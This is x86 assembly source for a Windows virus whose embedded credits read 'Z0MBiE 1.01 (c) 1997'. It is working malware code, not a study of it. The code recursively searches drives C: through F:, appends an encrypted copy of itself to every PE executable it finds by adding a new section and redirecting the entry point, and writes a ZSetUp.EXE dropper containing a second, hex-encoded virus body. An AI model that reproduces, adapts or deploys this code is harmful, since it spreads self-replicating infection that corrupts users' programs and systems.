lea edx, drive_d[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_e[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_f[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
mov al, PORT_ID
|
||||
out 81h, al
|
||||
|
||||
exit_to_mustdie: push -1
|
||||
call _ExitProcess
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
createsetup: lea edx, zsetup[ebp]
|
||||
call createfile
|
||||
|
||||
lea edx, z[ebp]
|
||||
mov ecx, z_size
|
||||
call writefile
|
||||
|
||||
call closefile
|
||||
|
||||
ret
|
||||
|
||||
first: pop edi
|
||||
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
|
||||
mov byte ptr start[ebp], 0b9h
|
||||
|
||||
call infectfile
|
||||
jmp exit_to_mustdie
|
||||
|
||||
ExecExe: call _GetCommandLineA
|
||||
SW_NORMAL equ 1
|
||||
push SW_NORMAL
|
||||
push eax
|
||||
call _WinExec
|
||||
ret
|
||||
|
||||
recinfect1st: call setdir
|
||||
|
||||
recinfect: call infectdir
|
||||
|
||||
lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
lea eax, dirfiles[ebp]
|
||||
push eax
|
||||
call _FindFirstFileA
|
||||
mov edi, eax
|
||||
inc eax
|
||||
jz @@nomorefiles
|
||||
|
||||
@@processfile: lea eax, fileattr[ebp]
|
||||
mov al, [eax]
|
||||
cmp al, 10h ; directory ?
|
||||
jne @@findnext
|
||||
|
||||
lea edx, fullname[ebp]
|
||||
cmp byte ptr [edx], '.'
|
||||
je @@findnext
|
||||
call setdir
|
||||
|
||||
push edi
|
||||
lea edx, fullname[ebp]
|
||||
call recinfect
|
||||
pop edi
|
||||
|
||||
lea edx, prev_dir[ebp]
|
||||
call setdir
|
||||
|
||||
@@findnext: lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
push edi
|
||||
call _FindNextFileA
|
||||
|
||||
or eax, eax
|
||||
jnz @@processfile
|
||||
|
||||
@@nomorefiles: ret
|
||||
|
||||
nokerneldll:
|
||||
nofunction:
|
||||
exit: jmp $
|
||||
|
||||
analizekernel: mov esi, kernel
|
||||
@@1: ; cmp esi, kernel + 040000h
|
||||
; ja nokernelfunc
|
||||
lea edi, kernel_sign[ebp]
|
||||
mov ecx, kernel_sign_size
|
||||
rep cmpsb
|
||||
jne @@1
|
||||
|
||||
kernelfound: sub esi, kernel_sign_size
|
||||
mov kernel_call[ebp], esi
|
||||
|
||||
mov esi, kernel
|
||||
lodsw
|
||||
cmp ax, 'ZM'
|
||||
jne nokerneldll
|
||||
|
||||
add esi, 003Ch-2
|
||||
lodsd
|
||||
|
||||
lea esi, [esi + eax - 3ch - 4]
|
||||
lodsd
|
||||
cmp eax, 'EP'
|
||||
jne nokerneldll
|
||||
|
||||
add esi, 78h-4 ; esi=.edata
|
||||
|
||||
lodsd
|
||||
add eax, kernel + 10h
|
||||
xchg esi, eax
|
||||
|
||||
lodsd
|
||||
lodsd
|
||||
lodsd
|
||||
mov funcnum[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov entrypointptr[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov nameptr[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov ordinalptr[ebp], eax
|
||||
|
||||
lea edx, names[ebp]
|
||||
lea edi, fns[ebp]
|
||||
|
||||
@@1: push edi
|
||||
call findfunction
|
||||
pop edi
|
||||
|
||||
inc edi ; 68
|
||||
stosd
|
||||
add edi, 6 ; jmp kernel_call[ebp]
|
||||
|
||||
mov edx, esi
|
||||
|
||||
cmp byte ptr [esi], 0
|
||||
jne @@1
|
||||
|
||||
ret
|
||||
|
||||
findfunction: mov ecx, 12345678h
|
||||
funcnum equ dword ptr $-4
|
||||
xor ebx, ebx
|
||||
|
||||
findnextfunc: mov esi, edx
|
||||
|
||||
mov edi, [ebx + 12345678h]
|
||||
nameptr equ dword ptr $-4
|
||||
add edi, kernel
|
||||
|
||||
@@2: cmpsb
|
||||
jne @@1
|
||||
|
||||
cmp byte ptr [esi-1], 0
|
||||
jne @@2
|
||||
|
||||
; found
|
||||
|
||||
shr ebx, 1
|
||||
movzx eax, word ptr [ebx + 12345678h]
|
||||
ordinalptr equ dword ptr $-4
|
||||
shl eax, 2
|
||||
mov eax, [eax + 12345678h]
|
||||
entrypointptr equ dword ptr $-4
|
||||
add eax, kernel
|
||||
|
||||
ret
|
||||
|
||||
@@1: add ebx, 4
|
||||
loop findnextfunc
|
||||
|
||||
jmp nofunction
|
||||
|
||||
|
||||
infectdir: lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
lea eax, exefiles[ebp]
|
||||
push eax
|
||||
call _FindFirstFileA
|
||||
|
||||
mov searchhandle[ebp], eax
|
||||
inc eax
|
||||
jz @@exit
|
||||
|
||||
@@next: call infectfile
|
||||
|
||||
lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
push 12345678h
|
||||
searchhandle equ dword ptr $-4
|
||||
call _FindNextFileA
|
||||
|
||||
or eax, eax
|
||||
jnz @@next
|
||||
|
||||
@@exit: ret
|
||||
|
||||
; input: ECX=file attr
|
||||
; EDX=file
|
||||
; output: EAX=handle
|
||||
|
||||
openfile: push 0
|
||||
push ecx
|
||||
push 3 ; OPEN_EXISTING
|
||||
push 0
|
||||
push 0
|
||||
push 80000000h + 40000000h
|
||||
push edx
|
||||
call _CreateFileA
|
||||
mov handle[ebp], eax
|
||||
ret
|
||||
|
||||
; input: EDX=file
|
||||
; output: EAX=handle
|
||||
|
||||
createfile: push 0
|
||||
push ecx
|
||||
push 1 ; CREATE
|
||||
push 0
|
||||
push 0
|
||||
push 80000000h + 40000000h
|
||||
push edx
|
||||
call _CreateFileA
|
||||
mov handle[ebp], eax
|
||||
ret
|
||||
|
||||
seekfile: push 0
|
||||
push 0
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _SetFilePointer
|
||||
ret
|
||||
|
||||
closefile: push handle[ebp]
|
||||
call _CloseHandle
|
||||
ret
|
||||
|
||||
; input: ECX=bytes to read
|
||||
; EDX=buf
|
||||
|
||||
readfile: push 0
|
||||
lea eax, bytesread[ebp]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _ReadFile
|
||||
ret
|
||||
|
||||
; input: ECX=bytes to read
|
||||
; EDX=buf
|
||||
|
||||
writefile: push 0
|
||||
lea eax, bytesread[ebp]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _WriteFile
|
||||
ret
|
||||
|
||||
; input: EDX=offset directory (256 byte)
|
||||
|
||||
getdir: cld
|
||||
push edx
|
||||
push 255
|
||||
call _GetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
; input: EDX=directory
|
||||
|
||||
setdir: push edx
|
||||
call _SetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
getwindir: cld
|
||||
push 255
|
||||
push edx
|
||||
call _GetWindowsDirectoryA
|
||||
ret
|
||||
|
||||
infectfile: in al, 82h
|
||||
cmp al, PORT_ID
|
||||
jne @@continue
|
||||
|
||||
lea eax, fullname[ebp]
|
||||
cmp dword ptr [eax], 'BM0Z'
|
||||
jne @@exit
|
||||
|
||||
@@continue: mov ecx, fileattr[ebp]
|
||||
lea edx, fullname[ebp]
|
||||
call openfile
|
||||
|
||||
inc eax
|
||||
jz @@exit
|
||||
|
||||
; goto the dword that stores the location of the pe header
|
||||
|
||||
mov edx, 3Ch
|
||||
call seekfile
|
||||
|
||||
; read in the location of the pe header
|
||||
|
||||
mov ecx, 4
|
||||
lea edx, peheaderoffset[ebp]
|
||||
call readfile
|
||||
|
||||
; goto the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; read in enuff to calculate the full size of the pe header and object table
|
||||
|
||||
mov ecx, 256
|
||||
lea edx, peheader[ebp]
|
||||
call readfile
|
||||
|
||||
; make sure it is a pe header and is not already infected
|
||||
cmp dword ptr peheader[ebp],'EP'
|
||||
jne @@close
|
||||
cmp word ptr peheader[ebp] + 4ch, FILE_ID
|
||||
je @@close
|
||||
cmp dword ptr peheader[ebp] + 52, 00400000h
|
||||
jne @@close
|
||||
|
||||
; go back to the start of the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; read in the whole pe header and object table
|
||||
lea edx, peheader[ebp]
|
||||
mov ecx, headersize[ebp]
|
||||
cmp ecx, maxbufsize
|
||||
ja @@close
|
||||
call readfile
|
||||
|
||||
mov word ptr peheader[ebp] + 4ch, FILE_ID
|
||||
|
||||
; locate offset of object table
|
||||
xor eax, eax
|
||||
mov ax, NtHeaderSize[ebp]
|
||||
add eax, 18h
|
||||
mov objecttableoffset[ebp],eax
|
||||
|
||||
; calculate the offset of the last (null) object in the object table
|
||||
mov esi, objecttableoffset[ebp]
|
||||
lea eax, peheader[ebp]
|
||||
add esi, eax
|
||||
xor eax, eax
|
||||
mov ax, numObj[ebp]
|
||||
mov ecx, 40
|
||||
xor edx, edx
|
||||
mul ecx
|
||||
add esi, eax
|
||||
|
||||
inc numObj[ebp] ; inc the number of objects
|
||||
|
||||
lea edi, newobject[ebp]
|
||||
xchg edi,esi
|
||||
|
||||
; calculate the Relative Virtual Address (RVA) of the new object
|
||||
|
||||
mov eax, [edi-5*8+8]
|
||||
add eax, [edi-5*8+12]
|
||||
mov ecx, objalign[ebp]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov RVA[ebp], eax
|
||||
|
||||
; calculate the physical size of the new object
|
||||
mov ecx, filealign[ebp]
|
||||
mov eax, viriisize
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov physicalsize[ebp],eax
|
||||
|
||||
; calculate the virtual size of the new object
|
||||
mov ecx, objalign[ebp]
|
||||
mov eax, virtsize
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov virtualsize[ebp],eax
|
||||
|
||||
; calculate the physical offset of the new object
|
||||
mov eax,[edi-5*8+20]
|
||||
add eax,[edi-5*8+16]
|
||||
mov ecx, filealign[ebp]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov physicaloffset[ebp],eax
|
||||
|
||||
; update the image size (the size in memory) of the file
|
||||
mov eax, virtsize
|
||||
add eax, imagesize[ebp]
|
||||
mov ecx, objalign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov imagesize[ebp],eax
|
||||
|
||||
; copy the new object into the object table
|
||||
mov ecx, 40/4
|
||||
rep movsd
|
||||
|
||||
; calculate the entrypoint RVA
|
||||
mov eax, RVA[ebp]
|
||||
|
||||
mov ebx, entrypointRVA[ebp]
|
||||
mov entrypointRVA[ebp], eax
|
||||
|
||||
sub eax, ebx
|
||||
|
||||
; Set the value needed to return to the host
|
||||
mov subme[ebp], eax
|
||||
|
||||
; go back to the start of the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; write the pe header and object table to the file
|
||||
mov ecx, headersize[ebp]
|
||||
lea edx, peheader[ebp]
|
||||
call writefile
|
||||
|
||||
; move to the physical offset of the new object
|
||||
mov edx, physicaloffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; write the virus code to the new object
|
||||
|
||||
call random
|
||||
mov xorword[ebp], eax
|
||||
|
||||
lea edx, start[ebp]
|
||||
mov ecx, decrsize
|
||||
call writefile
|
||||
|
||||
lea esi, codestart[ebp]
|
||||
lea edi, buf[ebp]
|
||||
mov ecx, cryptn
|
||||
@@1: lodsd
|
||||
xor eax, xorword[ebp]
|
||||
neg eax
|
||||
stosd
|
||||
loop @@1
|
||||
|
||||
lea edx, buf[ebp]
|
||||
mov ecx, viriisize-decrsize
|
||||
call writefile
|
||||
|
||||
@@close: call closefile
|
||||
|
||||
@@exit: ret
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
; output: eax=rnd
|
||||
; zf=rnd(2)
|
||||
|
||||
random: call random16bit
|
||||
shl eax, 16
|
||||
|
||||
random16bit: push ebx
|
||||
mov bx, 1234h
|
||||
rndword equ word ptr $-2
|
||||
in al, 40h
|
||||
xor bl, al
|
||||
in al, 40h
|
||||
add bh, al
|
||||
in al, 41h
|
||||
sub bl, al
|
||||
in al, 41h
|
||||
xor bh, al
|
||||
in al, 42h
|
||||
add bl, al
|
||||
in al, 42h
|
||||
sub bh, al
|
||||
mov rndword[ebp], bx
|
||||
xchg bx, ax
|
||||
pop ebx
|
||||
test al, 1
|
||||
ret
|
||||
|
||||
; input: eax
|
||||
; output: eax=rnd(eax)
|
||||
; zf=rnd(2)
|
||||
|
||||
rnd: push ebx
|
||||
push edx
|
||||
xchg ebx, eax
|
||||
call random
|
||||
xor edx, edx
|
||||
div ebx
|
||||
xchg edx, eax
|
||||
pop edx
|
||||
pop ebx
|
||||
test al, 1
|
||||
ret
|
||||
|
||||
|
||||
codesize equ $-start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
kernel_sign: pushfd ; <- kernel
|
||||
cld
|
||||
push eax
|
||||
push ebx
|
||||
push edx
|
||||
kernel_sign_size equ $-kernel_sign
|
||||
|
||||
kernel_call dd ?
|
||||
|
||||
names: db 'ExitProcess',0
|
||||
db 'FindFirstFileA',0
|
||||
db 'FindNextFileA',0
|
||||
db 'CreateFileA',0
|
||||
db 'SetFilePointer',0
|
||||
db 'ReadFile',0
|
||||
db 'WriteFile',0
|
||||
db 'CloseHandle',0
|
||||
db 'GetCurrentDirectoryA',0
|
||||
db 'SetCurrentDirectoryA',0
|
||||
db 'GetWindowsDirectoryA',0
|
||||
db 'GetCommandLineA',0
|
||||
db 'WinExec',0
|
||||
db 'SetPriorityClass',0
|
||||
db 'GetModuleHandleA',0
|
||||
db 0
|
||||
|
||||
fns:
|
||||
def_fn macro name
|
||||
_&name&: db 68h
|
||||
fn_&name& dd ?
|
||||
jmp kernel_call[ebp]
|
||||
endm
|
||||
|
||||
def_fn ExitProcess
|
||||
def_fn FindFirstFileA
|
||||
def_fn FindNextFileA
|
||||
def_fn CreateFileA
|
||||
def_fn SetFilePointer
|
||||
def_fn ReadFile
|
||||
def_fn WriteFile
|
||||
def_fn CloseHandle
|
||||
def_fn GetCurrentDirectoryA
|
||||
def_fn SetCurrentDirectoryA
|
||||
def_fn GetWindowsDirectoryA
|
||||
def_fn GetCommandLineA
|
||||
def_fn WinExec
|
||||
def_fn SetPriorityClass
|
||||
def_fn GetModuleHandleA
|
||||
|
||||
bytesread dd ?
|
||||
|
||||
drive_c db 'C:\',0
|
||||
drive_d db 'D:\',0
|
||||
drive_e db 'E:\',0
|
||||
drive_f db 'F:\',0
|
||||
|
||||
exefiles db '*.EXE',0
|
||||
dirfiles db '*.',0
|
||||
|
||||
prev_dir db '..',0
|
||||
|
||||
win32_data_thang:
|
||||
fileattr dd 0
|
||||
createtime dd 0,0
|
||||
lastaccesstime dd 0,0
|
||||
lastwritetime dd 0,0
|
||||
filesize dd 0,0
|
||||
resv dd 0,0
|
||||
fullname db 'Z0MB.EXE',256-8 dup (0)
|
||||
realname db 256 dup (0)
|
||||
|
||||
handle dd ?
|
||||
|
||||
peheaderoffset dd ?
|
||||
objecttableoffset dd ?
|
||||
|
||||
newobject: ;1234567 8
|
||||
oname db '.Z0MBiE',0
|
||||
virtualsize dd 0
|
||||
RVA dd 0
|
||||
physicalsize dd 0
|
||||
physicaloffset dd 0
|
||||
reserved dd 0,0,0
|
||||
objectflags db 40h,0,0,0c0h
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
db 13,10,'Z0MBiE 1.01 (c) 1997',13,10
|
||||
db 'My 2nd virii for mustdie',13,10
|
||||
db 'Tnx to S.S.R.',13,10
|
||||
|
||||
m1 macro n
|
||||
if n ge 100000
|
||||
db n / 10000/10 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
if n ge 10000
|
||||
db n / 10000 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
if n ge 1000
|
||||
db n / 1000 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
db n / 100 mod 10 + '0'
|
||||
db n / 10 mod 10 + '0'
|
||||
db n / 1 mod 10 + '0',13,10
|
||||
endm
|
||||
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
zsetup db '\ZSetUp.EXE',0
|
||||
z:
|
||||
include z.inc ; Z0MBiE.1922
|
||||
z_size equ $-z
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
|
||||
db 13,10
|
||||
db 'code..............'
|
||||
m1 codesize
|
||||
db 'viriisize.........'
|
||||
m1 viriisize
|
||||
db 'virtsize..........'
|
||||
m1 virtsize
|
||||
|
||||
peheader:
|
||||
signature dd 0
|
||||
cputype dw 0
|
||||
numObj dw 0
|
||||
dd 3 dup (0)
|
||||
NtHeaderSize dw 0
|
||||
Flags dw 0
|
||||
dd 4 dup (0)
|
||||
entrypointRVA dd 0
|
||||
dd 3 dup (0)
|
||||
objalign dd 0
|
||||
filealign dd 0
|
||||
dd 4 dup (0)
|
||||
imagesize dd 0
|
||||
headersize dd 0
|
||||
peheader_size equ $-peheader
|
||||
|
||||
align 4
|
||||
viriisize equ $-start
|
||||
|
||||
infdir db 256 dup (?)
|
||||
|
||||
maxbufsize equ 4096
|
||||
buf db maxbufsize dup (?)
|
||||
|
||||
virtsize equ $-start
|
||||
end start
|
||||
|
||||
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
|
||||
abc_size equ 1922 ; size in bytes
|
||||
abc_num equ 1922 ; size in elements
|
||||
|
||||
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
|
||||
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
|
||||
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
|
||||
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
|
||||
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
|
||||
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
|
||||
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
|
||||
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
|
||||
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
|
||||
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
|
||||
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
|
||||
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
|
||||
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
|
||||
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
|
||||
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
|
||||
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
|
||||
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
|
||||
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
|
||||
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
|
||||
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
|
||||
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
|
||||
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
|
||||
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
|
||||
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
|
||||
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
|
||||
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
|
||||
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
|
||||
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
|
||||
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
|
||||
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
|
||||
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
|
||||
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
|
||||
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
|
||||
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
|
||||
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
|
||||
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
|
||||
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
|
||||
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
|
||||
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
|
||||
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
|
||||
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
|
||||
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
|
||||
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
|
||||
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
|
||||
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
|
||||
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
|
||||
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
|
||||
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
|
||||
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
|
||||
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
|
||||
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
|
||||
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
|
||||
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
|
||||
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
|
||||
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
|
||||
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
|
||||
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
|
||||
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
|
||||
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
|
||||
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
|
||||
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
|
||||
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
|
||||
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
|
||||
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
|
||||
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
|
||||
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
|
||||
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
|
||||
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
|
||||
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
|
||||
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
|
||||
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
|
||||
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
|
||||
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
|
||||
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
|
||||
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
|
||||
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
|
||||
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
|
||||
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
|
||||
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
|
||||
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
|
||||
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
|
||||
